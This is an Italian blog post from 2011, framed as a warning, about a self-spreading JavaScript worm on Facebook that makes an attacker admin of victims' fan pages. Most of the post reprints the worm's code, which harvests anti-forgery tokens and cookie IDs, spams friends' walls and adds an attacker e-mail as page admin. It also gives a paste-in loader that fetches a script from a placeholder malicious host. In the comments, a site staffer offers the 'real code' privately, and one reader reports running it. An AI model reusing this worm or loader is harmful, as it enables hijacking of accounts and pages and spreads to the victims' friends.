• Diventa Fan!
  • Seguici Twitter
  • Seguici su Google+

Hacking Facebook: come diventare admin delle pagine tramite un semplice Exploit

Scritto in Facebook, Internet, Sicurezza, Social Network - Da Jessica Lambiase - venerdì 25 febbraio 2011 - 36 Commenti

Ho letto in giro per il web un vero e proprio tutorial su come hackare una fan-page di Facebook: con le ovvie precauzioni, dopo aver letto il codice e dopo essermi accertata che non mi avrebbe arrecato danni ho testato la cosa su degli account di prova, ottenendo un risultato che, in realtà, non mi aspettavo: la cosa funziona!

Ed ora, onde evitare che qualsiasi admin di fan-page possa cader vittima dell’exploit, vi insegno come riconoscerlo e vi spiego come fa a funzionare.

Innanzitutto vediamo assieme cosa succede quando si cade vittima dell’exploit: innanzitutto viene postato il link all’exploit stesso sulla bacheca di 15 amici della vittima, che clickando diverranno a loro volta vittime dell’exploit e via discorrendo, ma la cosa più grave è che colui che diffonde l’exploit (il cattivo, che specificherà la sua e-mail nel javascript) diventerà automaticamente admin di tutte le fan-pages di cui le sue vittime sono admin a loro volta.

Ora vediamo insieme come tutelarsi dallo script.

  1. Non clickate su URL strani provenienti dalle bacheche dei vostri amici (del tipo: guarda qui! oppure I’ve got this! oppure look at these photos! e via discorrendo)
  2. Non incollate niente che non capite nella barra degli indirizzi del vostro browser (specie codici javascript) mentre siete su Facebook

Per farvi comprendere meglio la cosa vi spiego come l’utente malintenzionato potrebbe mettere in atto l’hack:

1) Scaricherà l‘exploit, il cui contenuto è il seguente (leggermente modificato da me così da renderlo innocuo, e capirete poi perchè ve lo riporto)

//These are to be posted as status messages

txt = "Hey See what i got!";

txtee = Hey See what i got!";

alert("Please wait 10-15 seconds, that we can analyze your friends to boost pages fans! Then click 'OK'to continue!");

with(x = new XMLHttpRequest()) open("GET", "/"), onreadystatechange = function () {

if (x.readyState = 4 && x.status == 200) {

z=x.responseText;

//comp = z.match(/name="UIComposer_STATE_PIC_OUTSIDE" value="([\d\w]+)"/i)[1];

//  comp = x.responseText.match(/name="UIComposer_STATE_PIC_OUTSIDE" id="([\d\w]+)"/i)[1];

form = z.match(/name="post_form_id" value="([\d\w]+)"/i)[1];

dt = z.match(/name="fb_dtsg" value="([\d\w-_]+)"/i)[1];

pfid = z.match(/name="post_form_id" value="([\d\w]+)"/i)[1];

with(xx = new XMLHttpRequest())

open("GET", "/ajax/browser/friends/?uid=" +

document.cookie.match(/c_user=(\d+)/)[1] +

"&filter=all&__a=1&__d=1"),

onreadystatechange = function () {

//extracts list of friends

if (x.readyState == 4 && xx.status == 200) {

m = xx.responseText.match(/\/\d+_\d+_\d+_q\.jpg/gi).join("\n").replace(/(\/\d+_|_\d+_q\.jpg)/gi, "").split("\n");

//facebook returns list of friends images of the form of three numbers separated by _,

//the above regular expression extracts out the middle of the two

//(which infact is the userID of friend)

i = 0;

llimit=25;

t = setInterval(function () {

if (i >= llimit )

return;//it seems the limit is 25 posts per 2 seconds on facebook (to be counted as bot)

if(i == 0) {//do it only once

with(dddd = new XMLHttpRequest()) open("GET", "/ajax/pages/dialog/manage_pages.php?__a=1&__d=1"),

setRequestHeader("X-Requested-With", null),

setRequestHeader("X-Requested", null),

onreadystatechange = function() {

if(ddddd.readyState == 4 && ddddd.status == 200) {

llm = (d = ddddd.responseText).match(/\\"id\\":([\d]+)/gi); len =llm.length;

j=0;

for(j=0;j

with(xxxcxxx = new XMLHttpRequest()) open("POST", "/pages/edit/?id="+llm[j].replace(/\\"id\\":/i, "")+"&sk=admin"),

setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),

send(post_form_id="+pfid+"&fb_dtsg="+dt+"&fbpage_id="+llm[j].replace(/\\"id\\":/i, "")+

"&friendselector_input[]=wamiqali@hungry-hackers.com	&friend_selected[]=&save=1");

//I am not very sure on this one but it seems it adds as admin of all pages the user holds

}

}

}, send(null); //end of function to change the admins

// this one collects cookie as well as the personalized status update email address

// (a photo sent to that address is posted on the wall directly)

}

//following code does status update

//the code writes message represented by txt and txtee alternately on the wall of friends.

//txt and txtee are same though (may be author's mistake)

if(i%2==0)

{

with(xd = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"),

setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),

send("action=PROFILE_UPDATE&profile_id=" + document.cookie.match(/c_user=(\d+)/)[1] + "&status=" + txt +

"&target_id=" + m[Math.floor(Math.random() * m.length)] +

//m is an array of id of friends (was created early in the script exec), choose a random friend

"&composer_id=" +

"&hey_kid_im_a_composer=true&display_context=profile&post_form_id=" +form + "&fb_dtsg=" + dt +

//comp, form, dt are (probably) XSRF prevention tokens

"&lsd&_log_display_context=profile&ajax_log=1&post_form_id_source=AsyncRequest");

}

else

{

with(xd = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"),

setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),

send("action=PROFILE_UPDATE&profile_id=" + document.cookie.match(/c_user=(\d+)/)[1] + "&status=" + txtee +

"&target_id=" + m[Math.floor(Math.random() * m.length)] + "&composer_id="+

"&hey_kid_im_a_composer=true&display_context=profile&post_form_id=" + form + "&fb_dtsg=" + dt +

"&lsd&_log_display_context=profile&ajax_log=1&post_form_id_source=AsyncRequest");

}

i += 1;

}, 12000);// 2000 milli-sec window, after which the script is executed again

}

}, send(null);

}

}, send(null);

2) Una volta che avrà modificato questo script ad-hoc e lo avrà caricato su un proprio spazio web, l’utente malintenzionato cercherà di convincervi ad incollare il seguente codice

javascript:(a = (b = document).createElement(“script”)).src = “//www.sitomalizioso.com/exploit_cattivo.js“, b.body.appendChild(a); void(0)

dove, ovviamente, le parti in grassetto corrispondono al sito in cui il cattivone avrà caricato l’exploit. Voi dovrete EVITARE DI FARLO tassativamente: l’effetto è immediato, voi sarete infetti, passerete l’url a 15 amici random e il cattivone diventerà admin delle fan-page di cui siete admin. Un ottimo modo di evitare di incappare nell’exploit è quello di scaricare il file “exploit_cattivo.js” (con un download manager oppure con wget), aprirlo con il blocco note e verificare se coincide con quello che vi ho mostrato sopra (ecco perchè l’ho fatto).

  • Smile_j92

    ciao , porei avere il codice originale per studiarlo, e provare a creare un tool di difesa in modo da usarlo per disinfettarsi immediatamente??? grazie, sono un informatico 

  • Daniloracing

    scusa  mi dai il codice  x  rubare  a  pag xkè mi l’hanno rubta  a  me  e  la voglio riprender
    e

  • Facebook

    è da due anni che fb mi ha cancellato e ho una pagina con un form dove continuano ad arrivarmi email e sono due anni che scrivo a fb per questo senza nessuna risp. qualcuno è in grado di farmi un codice aggiornato recente che funzioni e mi levo dalle scatole sta pagina e riesco cosi a cancellarla? grazie
    (p.s. non ci sono altri admin, la pagina mi sembra sia sociale e quindi resta li cosi in eterno….
    :-()

  • Micky79_m

    Ciao, ho bisogno di un’informazione, hanno rubato una pagina di fb con più di 350.000 fans ad un mio amico…puoi aiutarlo a riprendersela? Ci ha lavorato tanto :-(

  • Pingback: Exploit Facebook

  • http://www.chimerarevo.com Tanino Rulez

    Se fb cancella l’account cancella anche la pagina. Se la pagina c’è ancora vuol dire che c’è qualcun altro che è amministratore e che può farti diventare amministratore.

  • http://www.chimerarevo.com Tanino Rulez

    L’articolo è vecchiotto, sicuramente ora non funzionerà più ma ai suoi tempi andava :) Continueremo a fornire informazioni simili se ci sarà l’occasione, non preoccuparti :)

  • Giuseppe Vella

    incredibile quanti bimbominchia ci sono ancora in circolo.. ogni volta che si cerca di fare un articolo serio sulla sicurezza spuntano come i funghi…

  • Wildones

    Scusa potresti dirmi quale e’ la parte del codice java che permette a chi lo ha creato di renderlo amministratore delle pagine fb della vittima? Te ne sarei grato

    • http://www.chimerarevo.com Tanino Rulez

      Sta scritto nel codice, se conosci un pò di javascript (non è java) lo capisci ;) Non posso dire nulla mi spiace

      • Wildones

        A dire la verita’ so quale e’ la parte, l’ho chiesto perche’ volevo vedere se tutto quello che si e’ detto su questo articolo era vero, allora l’ho preso, modificato e uppato su un sito per provarlo su un mio secondo account..devo dire che al 90% funziona, la parte della pubblicazione del link sulle bacheche degli amici funziona cosi come l’allert e la disattivazione del messaggio di sicurezza di facebook. L’unica cosa e’ che non mi rende admin della pagina che ho creato sul secondo account quindi volevo capire se era sbagliata la parte del codice o magari era stato scoperto da facebook e quindi non piu funzionante. Ti chiedo solo di spiegarmi e darmi modo di vedere con i miei occhi che una cosa del genere e’ possibile. Grazie in anticipo

        • http://www.chimerarevo.com Tanino Rulez

          Non ti crea l’account admin automaticamente? Allora mi sa che è stato fixato il bug da parte di Facebook :(

          • Wildones

            Quello che credo anche io..comunque ultima domanda. La chiocciola in javascript si scrive semplicemente @ oppure %40 ? Scusa e’ pochissimo tempo che studio il javascript grazie in anticipo :)

          • http://www.chimerarevo.com Tanino Rulez

            Se la devi scrivere in una stringa puoi scrivere “@”, se è una URL notation usa %40 oppure qualche funzione di conversione per l’URL encoding come l’escape: http://www.javascripter.net/faq/escape.htm

  • Cesco

    posso avere il vero codice??? mi hanno rubato la pagina la voglio riprendere…. (lo userò solo per quello scopo non per altre pagine)

    • http://www.chimerarevo.com Tanino Rulez

      Contattami tramite la form

      • Arnautubianca

        si anche a me hanno rubato la pagina, c’è un modo per riprendermela, e cancellare il malintenzionato che l’ha rubata? ti prego aiutami! :(

        • http://www.chimerarevo.com Tanino Rulez

          Purtroppo puoi fare poco mi disp, sembra anche che questo metodo non funzioni più..

      • Aly_camy

        ti prego me lo passi anche a me?? me l’hanno rubata, se non funziona non funzionerà…ma vorrei provarci!! ti preeegoo

  • Giovicrista

    a me servirebbe un buon metodo per scoprire password sapendo solo e-mail perkè mi hanno fregato la pass di facebook e rivorrei il mio account …..
    per favore mi aiutereste????????

  • tapeinòs

    Senti, mi potresti mandare il vero codice exploit via email.
    Io ti insegno un modo su come scoprire veramente le password di Facebook, però tu mi devi mandare il codice via email giusto, e mi devi spiegare bene passo per passo la guida.
    Lo voglio testare sulle mie fanpage, no su quelle delle altre, le cose si fanno per esplorare e per conoscere, e non per craccare o fare danni.
    Accetti?

    • http://www.chimerarevo.com Tanino Rulez

      Ci sono alcune cose che vorrei dirti :)

      1) Non mi interessa un modo per scoprire le password Facebook (anche perché volendo saprei come fare)
      2) Il codice te lo posso inviare per un semplice motivo: mi hai chiesto di spiegare la guida passo passo quindi vuol dire che non hai capito come usarlo!
      3) Basta conoscere un minimo di javascript ed ajax per comprenderlo
      4) Non metto in dubbio la tua buona fede ma dammi dimostrazione che mi posso fidare di te :)

      • user

        Tu spiegami come devo fare, e io ti dò una dimostrazione.
        davvero a differenza delle altre persone che non sanno niente di programazione tu ne dimostri di conoscere di gran lunga.
        Come posso contattarti? Io voglio farlo per testarlo e per esplorare.
        Io ho capito il funzionamento della guida, ma vorrei capirne di più.
        MI potresti dare gentilmente il tuo indirizzo email o ti contantto in un altro modo?

        • http://www.chimerarevo.com Tanino Rulez

          Contattami tramite la form “contatti”, è quello il mio indirizzo ;)

          • tapeinòs

            Si, l’ho già fatto ieri, ti ringrazio infinitamente…. ti è arrivato il mio indirizzo email?

          • http://www.chimerarevo.com Tanino Rulez

            Ti ho risposto :)

          • http://www.chimerarevo.com Tanino Rulez

            Ti ho risposto :)

          • http://www.chimerarevo.com Tanino Rulez

            Ti ho risposto :)

  • Lele

    Ciao, lo stavo giusto analizzando e ho notato che gira anche un’altra versione a quanto pare! Non ho ancora avuto tempo di guardare ma mi sembra la stessa cosa .. se vuoi ti passo il link, mandami un’email…

    • http://www.chimerarevo.com Tanino Rulez

      Puoi utilizzare il modulo “Contattaci” per scrivermi una mail ;)

  • Leandranastasi85

    ce un modo per usare lo stesso sistema per riavere tutte le pagine indietro conosceno l’artefice?

    • http://www.chimerarevo.com Tanino Rulez

      Purtroppo no :(

  • Pingback: Facebook Login » Hacking Facebook: come diventare admin delle pagine tramite un …

  • Pingback: Tweets that mention Hacking Facebook: come diventare admin delle pagine tramite un semplice Exploit - Chimera Revo -- Topsy.com

  • http://twitter.com/27MrBlaze Simo E Basta

    è geniale!

  • Pingback: Hacking Facebook: come diventare admin delle pagine tramite un semplice Exploit | world news